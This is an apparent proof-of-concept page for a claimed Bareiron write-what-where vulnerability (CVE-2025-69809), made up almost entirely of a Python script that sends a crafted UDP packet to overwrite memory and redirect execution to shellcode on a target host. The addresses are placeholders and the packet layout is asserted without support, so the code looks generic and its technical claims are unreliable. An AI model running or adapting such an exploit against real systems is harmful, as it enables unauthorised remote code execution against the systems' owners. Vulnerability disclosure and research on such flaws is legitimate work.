CVE-2025-69809 p2r3 Bareiron 写入任意内存漏洞导致远程代码执行

# CVE-2025-69809 PoC - p2r3 Bareiron Write-What-Where Vulnerability # This PoC demonstrates the write-what-where condition in Bareiron import socket import struct def create_crafted_packet(target_addr, write_value): """ Create a malicious packet that exploits the write-what-where condition """ # Packet structure for Bareiron protocol packet = bytearray() # Header: packet type (0x01 = memory write request) packet.extend(struct.pack('B', 0x01)) # Target address to write to (8 bytes for 64-bit) packet.extend(struct.pack('<Q', target_addr)) # Value to write at target address (8 bytes for 64-bit) packet.extend(struct.pack('<Q', write_value)) # Malicious function pointer for code execution shellcode_addr = target_addr + 0x100 packet.extend(struct.pack('<Q', shellcode_addr)) return bytes(packet) def exploit(target_ip, target_port=5555): """ Send crafted packet to trigger the vulnerability """ # Target address: function pointer in GOT or similar target_addr = 0x0000000000401020 # Example: address to overwrite # Value to write: address of system() or shellcode write_value = 0x0000000000401500 # Example: shellcode address packet = create_crafted_packet(target_addr, write_value) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) try: print(f"[*] Sending crafted packet to {target_ip}:{target_port}") print(f"[*] Target address: 0x{target_addr:016x}") print(f"[*] Write value: 0x{write_value:016x}") sock.sendto(packet, (target_ip, target_port)) response = sock.recv(1024) print(f"[+] Received response: {response.hex()}") except socket.timeout: print("[-] No response received - target may be vulnerable") except Exception as e: print(f"[-] Error: {str(e)}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5555 exploit(target, port)